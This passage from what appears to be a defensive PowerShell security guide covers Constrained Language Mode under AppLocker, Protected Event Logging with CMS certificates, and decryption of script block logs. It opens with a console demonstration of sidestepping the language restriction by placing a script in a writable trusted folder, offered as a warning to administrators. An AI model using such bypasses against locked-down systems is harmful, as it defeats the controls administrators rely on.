PS C:\> $executionContext.SessionState.LanguageMode  
ConstrainedLanguage

PS C:\> [Math]::Sqrt([Math]::Pi)  
Cannot invoke method. Method invocation is supported only on core types in this language mode.

At line:1 char:1  
+ [Math]::Sqrt([Math]::Pi)  
+ ~~~~~~~~~~~~~~~~~~~~~~~~  
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException  
    + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage

PS C:\> '[Math]::Sqrt([Math]::Pi)' > c:\trusted\trusted.ps1  
PS C:\> c:\trusted\trusted.ps1  
1.77245385090552  
  
PS C:\> exit  
PS C:\> Set-AppLockerPolicy $existingApplockerPolicy

Beware – if users can add or edit files in c:\trusted, then this policy offers no protection. Users in that situation can simply put scripts in that directory to bypass the policy. Also, if your AppLocker policy doesn’t similarly limit executables, then this policy offers no protection. Users in that situation can simply run an executable to bypass the policy.

*In order to enforce its policies, AppLocker requires the AppIDSvc service to be running. When enabling a policy, be sure to set the service to Auto Start.*

As mentioned previously, Constrained PowerShell layers on top of the Windows permissions model. Because of that, it (like AppLocker) should be applied to regular user accounts and not system administrators. Administrator accounts can bypass the policy by simply changing or disabling it.

# Protected Event Logging

One concern when increasing the amount of logging on a system is the danger that logged content may contain sensitive data. For example, if you log the content of every PowerShell script that was run, there is the possibility that a script may contain credentials or other sensitive data.

If an attacker later compromises a machine that has logged this data, it may provide them with additional information with which to extend their reach.

To prevent this dilemma, Windows 10 introduces Protected Event Logging. Protected Event Logging lets participating applications encrypt sensitive data as they write it to the event log. You can then decrypt and process these logs once you’ve moved them to a more secure and centralized log collector.

One common technique to move event logs to a more secure and centralized log collector is built in to Windows: Windows Event Forwarding. A great document on setting up Windows Event Forwarding is available from the NSA: “[Spotting the Adversary with Windows Event Log Monitoring](http://www.nsa.gov/ia/_files/app/Spotting_the_Adversary_with_Windows_Event_Log_Monitoring.pdf)”. Other options are System Center Operations Manager, or commercially available Security Information and Event Management (SIEM) systems.

*In Windows 10, PowerShell is the only application that participates in Protected Event Logging.*

Protected Event Logging protects event log content through the IETF Cryptographic Message Syntax (CMS) standard. The CMS encryption standard implements public key cryptography, where the keys used to encrypt content (the *public key*) and the keys used to decrypt content (the *private key*) are separate.

Your public key can be shared widely, and is not sensitive data. If any content is encrypted with this public key, only your private key can decrypt it. For more information about Public Key Cryptography, see: <http://en.wikipedia.org/wiki/Public-key_cryptography>.

When you implement a protected event logging policy, you deploy a public key to all machines that have event log data you want to protect. You retain the corresponding private key to post-process the event logs at a more secure location such as a central event log collector, or SIEM aggregator.

To enable Protected Event Logging, enable the ‘Enable Protected Event Logging’ feature in Group Policy through Windows Components -> Administrative Templates -> Event Logging. This setting requires an encryption certificate, which you can provide in one of several forms:

* The content of a base-64 encoded X.509 certificate (for example, as offered by the ‘Export’ option in Certificate Manager)
* The thumbprint of a certificate that can be found in the Local Machine certificate store (usually deployed by PKI infrastructure)
* The full path to a certificate (can be local, or a remote share)
* The path to a directory containing a certificate or certificates (can be local, or a remote share)
* The subject name of a certificate that can be found in the Local Machine certificate store (usually deployed by PKI infrastructure)

The resulting certificate must have 'Document Encryption' as an enhanced key usage (1.3.6.1.4.1.311.80.1), as well as either Data Encipherment or Key Encipherment key usages enabled.

You can also use the following PowerShell function to enable protected event logging:

function Enable-ProtectedEventLogging

{

param(

[Parameter(Mandatory)]

$Certificate

)

$basePath = "HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging"

if(-not (Test-Path $basePath))

{

$null = New-Item $basePath -Force

}

Set-ItemProperty $basePath -Name EnableProtectedEventLogging -Value "1"

Set-ItemProperty $basePath -Name EncryptionCertificate -Value $Certificate

}

function Disable-ProtectedEventLogging

{

Remove-Item HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging -Force -Recurse

}

While the Group Policy template for Protected Event Logging only exists in Windows 10, PowerShell version 5 and PowerShell in KB3000850 supports protected event logging if the settings are configured manually.

For example:

PS C:\temp> $cert = Get-Content C:\temp\ProtectedEventLogging.cer –Raw

PS C:\temp> Enable-ProtectedEventLogging –Certificate $cert

Protected event logging must be configured *in addition* to enabling any application-specific logging. Enabling protected event logging doesn’t automatically enable event sources such as PowerShell script block logging.

If an application cannot properly resolve the encryption certificate during logging, it will log a warning message into its event log channel, and then continue to log the data without event log protection.

When configuring the encryption certificate for deployment, ensure that it doesn’t include the private key. If the certificate includes the private key, then it can also be used to decrypt the protected event log content.

The following commands show how to determine if a Document Encryption certificate on a node has been deployed with a private key:

PS Cert:\CurrentUser\My> dir -DocumentEncryptionCert

Directory: Microsoft.PowerShell.Security\Certificate::CurrentUser\My

Thumbprint Subject

---------- -------

5EE994BD4C0B79ADFAA7890D7D3FBE820CF03282 CN=ProtectedEventLogging

PS Cert:\CurrentUser\My> (dir -DocumentEncryptionCert).HasPrivateKey

True

To post-process the content of protected event log messages, use the PowerShell Unprotect-CmsMessage cmdlet and Cryptographic Message Syntax (CMS) encryption and decryption cmdlets.

For example, the following PowerShell commands automatically decrypt encrypted event log messages, provided that an appropriate decryption certificate (i.e.: one that has the private key) is installed on the machine:

PS C:\temp> Get-WinEvent Microsoft-Windows-PowerShell/Operational |

Where-Object Id -eq 4104 | % Message

Creating Scriptblock text (1 of 1):

-----BEGIN CMS-----

MIIBqAYJKoZIhvcNAQcDoIIBmTCCAZUCAQAxggFQMIIBTAIBADA0MCAxHjAcBgNVBAMMFWxlZWhv

bG1AbWljcm9zb2Z0LmNvbQIQIHYCpaWKj79MCPOeLV5rmjANBgkqhkiG9w0BAQcwAASCAQAyRMrz

bT6xs/AXl9OZtEhRW2LuiRpHy/texsSvWGvaVWALEB8a5DrPFwsxmunLBMssX69FoTDROTtTAthU

5QqCg5y891YIk3WRkjgTXGuWUBji8X+iyXKN0O5urpM3wFZLYroCZbsnVYcZYzbLcu4mfuNwpu9Q

RDPVjegXXU5gyxKaFvnEfPGWSE/17nJRkjFFlofjgO4W3mgHVEYt4Vtfa01LRgO+SE8n1MDQXTN7

yw9+AFiFCsyDmzD131QLook54WC8LVy0NS5Nf5h4FM27/cn2GZfOoh/dP7wN/VA++Xsej7wkHyP3

5H8dxqhtGM2LkVG30LRIQJVmc0VfK5eNMDwGCSqGSIb3DQEHATAdBglghkgBZQMEASoEEC0VkkV4

IRHrhavdVSpu316AEO2RFE90vfU9S9L9nTQ2CzE=  
-----END CMS-----  
  
ScriptBlock ID: df0db710-b6f6-4f12-8c10-bb6e724bdea2  
Creating Scriptblock text (1 of 1):  
-----BEGIN CMS-----  
MIIBqAYJKoZIhvcNAQcDoIIBmTCCAZUCAQAxggFQMIIBTAIBADA0MCAxHjAcBgNVBAMMFWxlZWhv

bG1AbWljcm9zb2Z0LmNvbQIQIHYCpaWKj79MCPOeLV5rmjANBgkqhkiG9w0BAQcwAASCAQBls/kL

EqGJYOJHTVqe3toLwP55V1rAcpGKLqdQh5+dwjGtcBrIXLM+bh7fNJMER4ZtWQjOtOL+9TfCDupo

NOsD6kaaN1zozw3f1degUOZZ+a1Fjqg4DopUOhpOGC4TXCNdokhPEA2wfaVxNQeWH0sz/6uxkdt4

fZzu73szyYalE2/oK8ua0KFiV4oN7YToUqjas7Lrxgrss2s0KpMa0aXzomdlgqinjtxxaqfN9hXw

S7eSiiMWcSoQrGkBAdO95O7SDaVwyrr91Q5j3ipStJ9tT5JZYBH2Rt0lPGQJri/9XwVZWcqyPdsy

Dw//PRoduOvLoDJGmiPJPOXZcxku2V/hMDwGCSqGSIb3DQEHATAdBglghkgBZQMEASoEECJp7jZ3

h/8GOVAzagX0jjCAEMbLKx+cTg8YJiTH1tY3PTw=

-----END CMS-----

ScriptBlock ID: f35edb0c-8d5a-46fd-a0c9-8984f4622f38

PS C:\temp> Get-WinEvent Microsoft-Windows-PowerShell/Operational |

Where-Object Id -eq 4104 | Unprotect-CmsMessage

prompt

"Hello World"

To retain the structure of the actual event log entry (while just decrypting the Message field), use the –IncludeContext parameter:

PS C:\temp> Get-WinEvent Microsoft-Windows-PowerShell/Operational | ? Id -eq 4104 |

>>> Unprotect-CmsMessage -IncludeContext

ProviderName: Microsoft-Windows-PowerShell

TimeCreated Id LevelDisplayName Message

----------- -- ---------------- -------

4/3/2015 11:47:13 AM 4104 Verbose Creating Scriptblock text (1 of 1):...

4/3/2015 11:47:13 AM 4104 Verbose Creating Scriptblock text (1 of 1):...

# Features and their Supported Platforms

All of advances discussed in this document are available on PowerShell version 5, which is included with Windows 10. However, PowerShell version 5 is also available via the Windows Management Framework for Windows 8.1, Windows 8, Windows 7, Windows Server 2012R2, and Windows Server 2012.

In addition, some feature are available via KB3000850, which is an update to PowerShell version 4 on Windows 8.1 and Windows Server 2012R2. The following table shows the features and their availability.

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
|  | **Transcription Improvements** | **Script Block Logging** | **Deep Antimalware Integration (AMSI)** | **CMS Cmdlets** | **Protected Event Logging** | **Constrained PowerShell** |
| Windows 10 | PS 5 (built in) | PS 5 (built in) | PS 5 (built in) | PS 5 | PS 5 (built in) | PS 5 (built in) |
| Windows 8.1, Windows Server 2012R2 | PS 4 + KB3000850  Or  PS 5 (via Windows Management Framework vNext) | PS 4 + KB3000850  Or  PS 5 (via Windows Management Framework vNext) | Not supported | PS 4 + KB3000850  Or  PS 5 (via Windows Management Framework vNext) | PS 4 + KB3000850  Or  PS 5 (via Windows Management Framework vNext) | PS 5 (via Windows Management Framework vNext) |
| Windows 7, Windows Server 2012, Windows Server 2008R2 | PS 5 (via Windows Management Framework vNext) | PS 5 (via Windows Management Framework vNext) | Not supported | PS 5 (via Windows Management Framework vNext) | PS 5 (via Windows Management Framework vNext) | PS 5 (via Windows Management Framework vNext) |